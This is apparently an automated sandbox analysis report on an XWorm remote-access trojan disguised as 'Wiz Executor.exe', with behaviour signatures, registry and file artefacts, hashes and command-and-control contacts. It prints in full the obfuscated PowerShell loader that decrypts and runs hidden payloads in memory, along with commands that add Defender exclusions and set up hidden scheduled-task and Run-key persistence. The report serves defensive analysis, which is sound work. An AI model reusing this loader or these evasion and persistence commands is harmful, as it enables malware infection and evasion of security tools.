Analysis Overview
SHA256
7ebd9a91b5cb8f85b9f06edb2b10bcc7a3e40c893c931c464d529bfe2944675b
Threat Level: Known bad
The file Wiz Executor.exe was found to be: Known bad.
Malicious Activity Summary
Detect Xworm Payload
Xworm
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Checks computer location settings
Executes dropped EXE
Drops startup file
Adds Run key to start application
Enumerates physical storage devices
Unsigned PE
Suspicious use of SetWindowsHookEx
Creates scheduled task(s)
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Modifies registry class
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-05-26 16:57
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-05-26 16:57
Reported
2024-05-26 17:00
Platform
win10v2004-20240426-en
Max time kernel
91s
Max time network
93s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Xworm
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\Wiz Executor.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\powershell = "C:\\Users\\Admin\\AppData\\Local\\powershell.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Users\Admin\AppData\Local\Temp\Wiz Executor.exe
"C:\Users\Admin\AppData\Local\Temp\Wiz Executor.exe"
C:\Windows\SYSTEM32\cmd.exe
cmd /c "WizClient.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UjAZRUpK+m+1Fzaq04iX13Ejv9ASTlb1VEnVRnlqq6g='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/Ws1JDC8EHsQRbg41s9fWA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZDnzN=New-Object System.IO.MemoryStream(,$param_var); $rkwec=New-Object System.IO.MemoryStream; $hLElb=New-Object System.IO.Compression.GZipStream($ZDnzN, [IO.Compression.CompressionMode]::Decompress); $hLElb.CopyTo($rkwec); $hLElb.Dispose(); $ZDnzN.Dispose(); $rkwec.Dispose(); $rkwec.ToArray();}function execute_function($param_var,$param2_var){ $GbQvt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $LGlXX=$GbQvt.EntryPoint; $LGlXX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\WizClient.bat';$QSfdr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\WizClient.bat').Split([Environment]::NewLine);foreach ($BucUq in $QSfdr) { if ($BucUq.StartsWith(':: ')) { $xeIpu=$BucUq.Substring(3); break; }}$payloads_var=[string[]]$xeIpu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_260_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_260.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_260.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_260.bat" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UjAZRUpK+m+1Fzaq04iX13Ejv9ASTlb1VEnVRnlqq6g='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/Ws1JDC8EHsQRbg41s9fWA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZDnzN=New-Object System.IO.MemoryStream(,$param_var); $rkwec=New-Object System.IO.MemoryStream; $hLElb=New-Object System.IO.Compression.GZipStream($ZDnzN, [IO.Compression.CompressionMode]::Decompress); $hLElb.CopyTo($rkwec); $hLElb.Dispose(); $ZDnzN.Dispose(); $rkwec.Dispose(); $rkwec.ToArray();}function execute_function($param_var,$param2_var){ $GbQvt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $LGlXX=$GbQvt.EntryPoint; $LGlXX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_260.bat';$QSfdr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_260.bat').Split([Environment]::NewLine);foreach ($BucUq in $QSfdr) { if ($BucUq.StartsWith(':: ')) { $xeIpu=$BucUq.Substring(3); break; }}$payloads_var=[string[]]$xeIpu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\powershell.exe'
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "powershell" /tr "C:\Users\Admin\AppData\Local\powershell.exe"
C:\Users\Admin\AppData\Local\powershell.exe
C:\Users\Admin\AppData\Local\powershell.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 183.142.211.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 91.90.14.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | i.ibb.co | udp |
| FR | 162.19.58.157:443 | i.ibb.co | tcp |
| US | 8.8.8.8:53 | 157.58.19.162.in-addr.arpa | udp |
| US | 8.8.8.8:53 | fun-orleans.gl.at.ply.gg | udp |
| US | 147.185.221.19:60358 | fun-orleans.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | 19.221.185.147.in-addr.arpa | udp |
| US | 8.8.8.8:53 | wiz.bounceme.net | udp |
| US | 65.191.34.109:6000 | wiz.bounceme.net | tcp |
| US | 8.8.8.8:53 | wiznon.000webhostapp.com | udp |
| US | 145.14.145.148:443 | wiznon.000webhostapp.com | tcp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 145.14.145.148:443 | wiznon.000webhostapp.com | tcp |
| US | 65.191.34.109:6000 | wiz.bounceme.net | tcp |
| US | 8.8.8.8:53 | 82.90.14.23.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\WizClient.bat
| MD5 | 97079766f20389a59df1f035a68ba2d4 |
| SHA1 | 8c47e97b73f29df96296ad180bb0929ff4b84744 |
| SHA256 | 929ffee096ba93cc899327ece274d77b4ad6d11030a33c317152b642aeb47d66 |
| SHA512 | 0c26063385def3ba153fe918f32b518ac277a53b5d345962dc314e351c5cd9c50d3335d8c7c48d30f90d66851d1aaba311361cd5841b46e2ca662b866c7418a2 |
memory/3940-3-0x00007FFAB3310000-0x00007FFAB3505000-memory.dmp
memory/3940-5-0x00007FFAB3310000-0x00007FFAB3505000-memory.dmp
memory/3940-4-0x00007FFAB3310000-0x00007FFAB3505000-memory.dmp
memory/3940-11-0x0000014664C20000-0x0000014664C42000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_alzf1hen.hr0.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3940-16-0x0000014664C10000-0x0000014664C18000-memory.dmp
memory/3940-17-0x0000014664E70000-0x0000014664E84000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | f8d49a4af7a844bfc7247d5670def557 |
| SHA1 | 26ae0ce194a77a7a1887cf93741293fdfa6c94c4 |
| SHA256 | 61c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b |
| SHA512 | 9e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 661739d384d9dfd807a089721202900b |
| SHA1 | 5b2c5d6a7122b4ce849dc98e79a7713038feac55 |
| SHA256 | 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf |
| SHA512 | 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8 |
C:\Users\Admin\AppData\Roaming\startup_str_260.vbs
| MD5 | cbf701a47f0bd39ac6bca3dcea01b60e |
| SHA1 | d3c1ef4c44c3dffc215868d4e01028deb1dfc2df |
| SHA256 | fb12d8c55d1565e36a78bdecfe6ac5ce583d2fc8c675f6cbd4b246903eac82c4 |
| SHA512 | c612166c4f3f402a691b84de1ef85a04298a77fbe24b2cb8a767646491a6bf8ea822cae31216868a31586f191d210c2447b272aedb5a6750a39080eacfc81f79 |
memory/3148-48-0x000002C49D740000-0x000002C49D754000-memory.dmp
memory/3148-49-0x000002C4B7C90000-0x000002C4B7CA8000-memory.dmp
memory/3940-50-0x00007FFAB3310000-0x00007FFAB3505000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 6d42b6da621e8df5674e26b799c8e2aa |
| SHA1 | ab3ce1327ea1eeedb987ec823d5e0cb146bafa48 |
| SHA256 | 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c |
| SHA512 | 53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 481e5a63ab627f474e7406859a742abc |
| SHA1 | adf952634978d42e343896ac546763cc6e7635fa |
| SHA256 | ce32fe7b6fec708c52b5293b3ea0de2f0030be59644c9a635882bb7273b664a6 |
| SHA512 | 8d3d8329276e6fac80fbc4d6cf4ca0d05cd336c7a0e85cafe2fd121e783af1c013347909454aab63bd0c51b6f37317958f23608b980d4a5764d23cdc9aa12f95 |
C:\Users\Admin\AppData\Local\powershell.exe
| MD5 | 04029e121a0cfa5991749937dd22a1d9 |
| SHA1 | f43d9bb316e30ae1a3494ac5b0624f6bea1bf054 |
| SHA256 | 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f |
| SHA512 | 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b |
memory/3148-91-0x000002C4B81A0000-0x000002C4B81AE000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | df87d69dfbe30a72be8a41ba7020fdb1 |
| SHA1 | 319245bb2ad6416d3435d2857a746e54408a9822 |
| SHA256 | 964060b36bdbc812fdbc2c4efa24d60551e2f4b54a18384b1a21992246f0901e |
| SHA512 | cc7ee4f7042dacaec0d978205d75b06a02af1ebcd0e92af76a25961375e59a771be14af93c25a26585000555b7de603e7658069814b21e418a96e56d7c62e7fd |
memory/4712-104-0x000002696E8A0000-0x000002696E8E4000-memory.dmp
memory/4712-105-0x000002696EB70000-0x000002696EBE6000-memory.dmp